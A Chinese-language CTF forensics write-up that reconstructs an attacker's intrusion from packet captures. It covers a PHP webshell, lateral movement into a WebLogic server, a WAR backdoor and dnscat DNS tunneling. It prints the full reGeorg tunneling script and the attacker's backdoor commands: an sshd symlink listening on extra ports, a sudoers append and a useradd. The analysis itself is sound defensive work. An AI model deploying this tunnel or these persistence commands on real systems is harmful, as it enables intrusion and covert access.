本次铁三我和学长负责数据赛,总的来说还是挺简单的,如果不跳题去搏后面的分,那数据赛就是赛区并列第一。看dalao们的wp发现至少有14题,而我们做了11题。赛前就想着要把题目截下来,但是比着比着就忘了,题目都是我赛后靠记忆写下了的,题目描述可能有出入。
赛后再次仔细的理了一遍黑客的进攻过程,发现比赛中有很多答案是碰巧拿到的,所以这里写个writeup兼总结,全面地分析黑客进攻思路和过程以正确地得到答案,同时看看攻击过程中有没有值得学习的地方。
题目数据包:https://pan.baidu.com/s/1Qm3i62laF2HIwuRJVGu8hg 密码:87qg
解压密码:t3sec.org.cn
分析工具:Wireshark(主)、科来网络分析系统(辅)
参考资料:https://wiki.wireshark.org/DisplayFilters
https://www.wireshark.org/docs/dfref/
题目顺序是按黑客的渗透过程出的,所以分析数据包时,可以按照题目逐个包分析
0x01 黑客第一个攻击目标ip
在第1个包中使用http.request过滤,发现大量扫描目录的请求,于是得到黑客的ip:202.1.1.2 和目标1的ip:192.168.2.20
0x02 黑客在目标1系统中注册的账号和密码
注册一般通过POST方法提交注册信息,过滤http的POST方法以及源ip
发现疑似注册页面的URI:/index.php/web/system/reg/,看请求参数得到答案hack:hack123
0x03 黑客将一句话木马注入进页面,找出请求包编号
上一题过滤结果的最后一个POST请求中发现了php一句话木马,连shell的参数为'kaka'
,过滤ip和参数得到注入的请求包和后续的菜刀连shell请求。注入请求包编号为447921
。
0x04 黑客使用菜刀连shell时的session
第3题中得到菜刀连shell的请求。
ci_session=336322580ecdc0849e195f9c4b9c451fdafe771a
通过上面的session可以跟踪黑客的操作。过滤后分析,对木马传递的action、z1和z2参数进行base64解码,结合响应内容分析黑客的攻击行为。在2号包中,黑客查看了当前目录、uname信息、网络配置信息以及/etc/passwd文件等,这里就不上图了。
0x05 黑客上传了一个扫描文件,找出文件的绝对路径
2号包分析完,在3号包中继续分析黑客攻击行为。
黑客查看了/var/www/html/Vwins/addons/目录以及其子目录emulator、system和vip,还修改了system/function.php文件(但是只是修改了post的参数名,这个php我也没读懂是干嘛的)。
随后黑客在emulator目录下上传了两个文件model.php和scan.php。将木马文件上传请求中的z1参数解码就得到扫描文件的绝对路径/var/www/html/Vwins/addons/emulator/scan.php
来看一下scan.php,发现是一个端口扫描程序,这意味着黑客的攻击进入了第二阶段,开始横向移动。
0x06 黑客进入攻击目标2,所在的当前目录
题目跳的有点快。。。还是先来看看黑客怎么拿到目标2的。
前面的包里有端口扫描结果,扫出来有用的只有192.168.1.30:7001,再来看看之前上传的model.php
<?php
ini_set("allow_url_fopen", true);
ini_set("allow_url_include", true);
if( !function_exists('apache_request_headers') ) {
function apache_request_headers() {
$arh = array();
$rx_http = '/\AHTTP_/';
foreach($_SERVER as $key => $val) {
if( preg_match($rx_http, $key) ) {
$arh_key = preg_replace($rx_http, '', $key);
$rx_matches = array();
$rx_matches = explode('_', $arh_key);
if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
foreach($rx_matches as $ak_key => $ak_val) {
$rx_matches[$ak_key] = ucfirst($ak_val);
}
$arh_key = implode('-', $rx_matches);
}
$arh[$arh_key] = $val;
}
}
return( $arh );
}
}
if ($_SERVER['REQUEST_METHOD'] === 'GET')
{
exit("Georg says, 'All seems fine'");
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
set_time_limit(0);
$headers=apache_request_headers();
$cmd = $headers["X-CMD"];
switch($cmd){
case "CONNECT":
{
$target = $headers["X-TARGET"];
$port = (int)$headers["X-PORT"];
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($sock === false)
{
header('X-STATUS: FAIL');
header('X-ERROR: Failed creating socket');
return;
}
$res = @socket_connect($sock, $target, $port);
if ($res === false)
{
header('X-STATUS: FAIL');
header('X-ERROR: Failed connecting to target');
return;
}
socket_set_nonblock($sock);
@session_start();
$_SESSION["run"] = true;
$_SESSION["writebuf"] = "";
$_SESSION["readbuf"] = "";
ob_end_clean();
header('X-STATUS: OK');
header("Connection: close");
ignore_user_abort();
ob_start();
$size = ob_get_length();
header("Content-Length: $size");
ob_end_flush();
flush();
session_write_close();
while ($_SESSION["run"])
{
$readBuff = "";
@session_start();
$writeBuff = $_SESSION["writebuf"];
$_SESSION["writebuf"] = "";
session_write_close();
if ($writeBuff != "")
{
$i = socket_write($sock, $writeBuff, strlen($writeBuff));
if($i === false)
{
@session_start();
$_SESSION["run"] = false;
session_write_close();
header('X-STATUS: FAIL');
header('X-ERROR: Failed writing socket');
}
}
while ($o = socket_read($sock, 512)) {
if($o === false)
{
@session_start();
$_SESSION["run"] = false;
session_write_close();
header('X-STATUS: FAIL');
header('X-ERROR: Failed reading from socket');
}
$readBuff .= $o;
}
if ($readBuff!=""){
@session_start();
$_SESSION["readbuf"] .= $readBuff;
session_write_close();
}
#sleep(0.2);
}
socket_close($sock);
}
break;
case "DISCONNECT":
{
error_log("DISCONNECT recieved");
@session_start();
$_SESSION["run"] = false;
session_write_close();
return;
}
break;
case "READ":
{
@session_start();
$readBuffer = $_SESSION["readbuf"];
$_SESSION["readbuf"]="";
$running = $_SESSION["run"];
session_write_close();
if ($running) {
header('X-STATUS: OK');
header("Connection: Keep-Alive");
echo $readBuffer;
return;
} else {
header('X-STATUS: FAIL');
header('X-ERROR: RemoteSocket read filed');
return;
}
}
break;
case "FORWARD":
{
@session_start();
$running = $_SESSION["run"];
session_write_close();
if(!$running){
header('X-STATUS: FAIL');
header('X-ERROR: No more running, close now');
return;
}
header('Content-Type: application/octet-stream');
$rawPostData = file_get_contents("php://input");
if ($rawPostData) {
@session_start();
$_SESSION["writebuf"] .= $rawPostData;
session_write_close();
header('X-STATUS: OK');
header("Connection: Keep-Alive");
return;
} else {
header('X-STATUS: FAIL');
header('X-ERROR: POST request read filed');
}
}
break;
}
}
?>
model.php是一个reGeorg脚本,用于端口转发进行内网渗透,CONNECT 开启一个 socket, FORWARD 往 socket 里面写数据, READ读数据,DISCONNECT断开链接。
在4号包里可以看到黑客连接了 192.168.1.30:7001 端口, 7001 是 WebLogic 的端口, 那么可以猜测黑客是想利用WebLogic漏洞进行攻击,目标2的ip也确定了:192.168.1.30
过滤目的ip.dst为目标2的包,再追踪TCP流。4号包前面都是拿shell的过程,在的4787号TCP流中,黑客使用pwd命令查看了当前目录 /usr/src/wls12130/user_projects/domains/product_display
0x07 目标2的物理地址
上一题的TCP流中,黑客还执行了ifconfig,得到物理地址 52:54:00:86:0F:D4
,注意要大写。也可以由目标2的ip来获取MAC,但是数据包在由网关进行转发时会替换MAC地址,用wireshark会比较难找,用科来就可以在非广播arp包中直接找到。
0x08 黑客在第二个目标机上添加的用户名和密码是什么
在前两题的TCP流的最后,以及5号包TCP流中,发现了useradd命令以及使用echo修改用户密码的命令,得到黑客添加的用户名和密码 mailer:test
0x09 目标2的后台的用户名和密码是多少
6号包里除了netstat就没什么有用的东西了。在7号包里过滤http,发现黑客访问了后台登录页面LoginForm.jsp,紧接着就进行了登录。在登录数据包里发现了后台的用户名和密码 webadmin:web_pass
0x0A 黑客什么时候上传了后门程序包
7号包里的最后4个http包的请求url和请求数据类型都非常可疑。这4个请求URL分别为selectUploadApp、uploadApp、appSelected和targetStyleSelected,可以猜测这几个请求进行了上传。
uploadApp所POST数据的类型是multipart/form-data,这种类型常用于文件上传。
appSelected中给出了上传的文件名为index.war,war文件就是Java的web应用程序包。
再看看8号包里黑客利用的后门就是index,所以黑客上传后门程序包的请求就是uploadApp请求。在视图里设置时间显示格式,就得到答案 15:23:49.475745
0x0B 目标2上webshell的后台密码
顺着index找,在8号包里找到了webshell的后台密码 admin
,后面还执行了whoami,知道了后门是JShell。
0x0C 在目标1上的/tmp/fun文件的内容是什么
题目又跳了,而且跨度还有点大,比赛的时候直接懵逼了,十一赛区的队伍都卡在这了,我们跳过了这题想搏一搏后面的分,结果不仅后面的分没拿到,跳题还倒扣13分_(:з」∠)_。
这里使用一个wireshark的技巧。比赛给的包都很大,但是我们只需要里面的部分帧,而逐个包过滤会很费时间。首先将每个包需要的内容过滤出来,导出特定分组保存,再使用mergecap命令将所有导出的包合并到一起。合并的包就只有我们需要的东西,分组会少很多,过滤和追踪流也会快很多,方便下面的分析。
mergecap -w 目标文件 源文件 # 目标文件为合并后的文件名,源文件可以使用通配符
追踪TCP流,发现一直到13号包,黑客都在鼓捣dnscat,dnscat是一个dns隧道工具,但是在前面的包中并没有看到使用dnscat传输数据的痕迹。而在14、15号包中则发现了大量查询中带有dnscat字样的dns包。
dnscat有自己的协议,需要知道它的报文格式才能对它的内容进行提取分析。我在github上找到了一个英文版dnscat协议解析,还简书上找到了它的中文翻译版。dnscat的报文在dns报文的查询名(Queries里的Name)字段中,根据dnscat报文格式,除了报文前的dnscat.
前缀,报文中从第19位起就是实际的数据。
下面就是要提取分析dnscat的数据内容了。首先用上面说的技巧将14、15号包中含有dnscat字段的帧提取合并成一个包,再用tshark命令将dns.qry.name字段提取出来。
tshark -r dns.pcapng -T fields -e dns.qry.name > dnsdata.txt
再撸个py转换一下。
# -*- coding: UTF-8 -*-
import base64
dnsdata = open("dnsdata.txt").read().split("\n")
result = open("result.txt", "wb")
data = set()
for line in dnsdata:
data.add(line)
for i in data:
result.write(base64.b16decode(i[25:].replace(".", "").upper()))
得到的数据大部分都是乱码,其中有用的内容只有4条
ln -sf /usr/sbin/sshd /tmp/chsh; /tmp/chsh -oPort=7777
ln -sf /usr/sbin/sshd /tmp/chsh; /tmp/chsh -oPort=6666;
echo 'mailer ALL=(ALL) ALL' >> /etc/sudoers
echo helloworld > /tmp/fun
显然,这一题的答案已经找到 helloworld
0x0D 黑客什么时候将目标2上添加的用户加入到sudo组中
上面提取到的命令里有用echo将用户添加到sudo组中,将该命令对应的dns包找到就是了。要注意黑客在JShell中也尝试过同样的操作但没有成功,不要找错包。
0x0E 在目标 2 上黑客执行某命令开启了一个端口作为后面, 这条命令是什么
这个就是上面提取到的前两个命令了。